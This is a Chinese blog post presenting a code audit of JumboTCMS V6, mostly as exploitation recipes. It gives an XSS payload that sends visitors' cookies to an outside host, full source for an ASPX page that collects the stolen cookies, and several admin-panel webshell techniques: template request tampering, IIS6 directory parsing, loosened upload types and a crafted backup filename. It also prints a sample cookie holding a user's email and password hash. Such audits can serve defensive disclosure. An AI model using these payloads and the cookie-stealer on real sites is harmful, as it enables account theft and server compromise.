将博CMS(JumboTCMS)_V6代码审计总结 |

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

Author:Seay

 Blog:http://www.cnseay.com/

鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安装不了,反正哪都报错…真搞不懂官方是不是故意的…于是花了两天时间把程序调试好,终于能跑起来了…跑起来数据库数据都是手工插进去的…坑爹啊…程序功能看不到,只能看代码慢的很,很多东西也不好看…算了,勉强看吧…俺也是第一次接触这套程序。

本来想找着什么注入csrf什么的,代码看了一遍,没找着什么可以利用的,个人技术问题吧。

一、安装完没提示或自动删除安装文件

安装完成后未提示或自动删除install目录文件,

直接访问http://seay.sinaapp.com/install/default.aspx可直接重新安装程序,

 

二、Cookie保存用户名密码

Cookie东西有点多,

将博CMS(JumboTCMS)_V6代码审计总结 |

id=2&name=ss123&nickname=ss123&password=e10adc3949ba59abbe56e057f20f883e&email=1160549384%40qq.com&groupid=1&groupname=%e4%b8%b4%e6%97%b6%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c42071141

 

密码都保存在里面了,配合下面的XSS

 

三、统计插件XSS漏洞:

先看代码:

将博CMS(JumboTCMS)_V6代码审计总结 |

string  _constentid= Str2Str(q(“id”)); 取到值,之后赋给_viewnum;最后转成javascript输出…直接XSS,

验证

http://seay.sinaapp.com//plus/viewcount.aspx?id=13<script>alert(/1/)</script)

取cookie

http://seay.sinaapp.com/plus/viewcount.aspx?id=13<script>document.location=’ http://seay.sinaapp.com/1.aspx?id=’+document.cookie</script>

 

顺便写了个aspx接收cookice值的

<%@ Page Language=”C#” AutoEventWireup=”true” %>

<head id=”Head1″ runat=”server”>

<%@import Namespace=”System.IO”%>

<script language=”C#” runat=”server”>

protected void Page_Load(object sender, EventArgs e)

{

string str = Request[“id”];

str = System.Web.HttpUtility.UrlDecode(str);

StreamWriter sw = null;

string path = Server.MapPath(“~/”)+ “seay.txt”;

sw = new StreamWriter(path,true,new UTF8Encoding());

sw.Write(“————Cookie值:” +str+”————\n\b”);

sw.Close();

Response.Redirect(“http://www.baidu.com/”);

}

</script>

</head>

保存为aspx就行了,拿到密码可以去解密,之后你们懂的,

 

 

后台GetShell方法:

四、编辑模板抓包改包生成shell;

我们进入后台后,可以看到前台更新这,

将博CMS(JumboTCMS)_V6代码审计总结 |

我们选择公用头部文件—编辑模版,

将博CMS(JumboTCMS)_V6代码审计总结 |

文件名是从数据库读取的ID,所以就避免了任意文件读取漏洞,

把模板内容修改为我们准备好的一句话(记得先备份原模版,记得改回来),用live http header插件抓包,修改提交地址里面的header.htm为header.aspx,之后Replay提交,就会在

http://www.2cto.com /templates/default/include/目录下生成header.aspx,shell地址http://seay.sinaapp.com/templates/default/include/header.aspx

 

将博CMS(JumboTCMS)_V6代码审计总结 |

五、创建目录未过滤;

先看源码:

将博CMS(JumboTCMS)_V6代码审计总结 |

Directory.Exists()这里是检查文件夹是否存在,再往下看

将博CMS(JumboTCMS)_V6代码审计总结 |

没过滤,直接就生成了,测试下,

后台—系统管理—频道管理。我们现在添加频道,上个图

将博CMS(JumboTCMS)_V6代码审计总结 |

对于IIS6.0,创建目录未过滤目录名称,我们把频道实际目录写seay.aspx之类的,利用IIS解析getshell。你们懂得。

好了,现在我们生成目录,就在根目录有了一个a.aspx的目录

将博CMS(JumboTCMS)_V6代码审计总结 |

六、上传文件类型修改;

再看下面,在添加频道和内容模型两个地方,可以修改允许上传的类型。

将博CMS(JumboTCMS)_V6代码审计总结 |

 

将博CMS(JumboTCMS)_V6代码审计总结 |

直接写aspx之类的上传类型就可以了…

 

七、蛋疼备份数据库自定义文件名;

还是先看源码:

将博CMS(JumboTCMS)_V6代码审计总结 |

这是MSSQL的,

很明显过滤了’号和;分号,看来程序员知道IIS的解析,

将博CMS(JumboTCMS)_V6代码审计总结 |

但是看下ACCESS的

将博CMS(JumboTCMS)_V6代码审计总结 |

就没过滤了…不知道怎么想的

我们在留言什么的能写东西的地方写个一句话,

再切换到 系统管理—数据库维护,直接修改备份的文件名为seay.aspx;.bak如果名字不是bak扩展名,它会自动加.bak,备份路径_data\databackup\seay.aspx;.bak

 

八、在线执行SQL

在系统管理下,我们可以看到有一个“在线执行SQL”,没有过滤SQL命令,

如过权限不错的话,可以用来提权哦。

将博CMS(JumboTCMS)_V6代码审计总结 |

算了…就写到这儿了。蛋疼的很…安装不了很多东西都没法去上图验证…

关键字:Powered by JumbotCms

Tags:

JumboTCMS漏洞, 将博CMS,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
将博CMS(JumboTCMS)_V6代码审计总结 |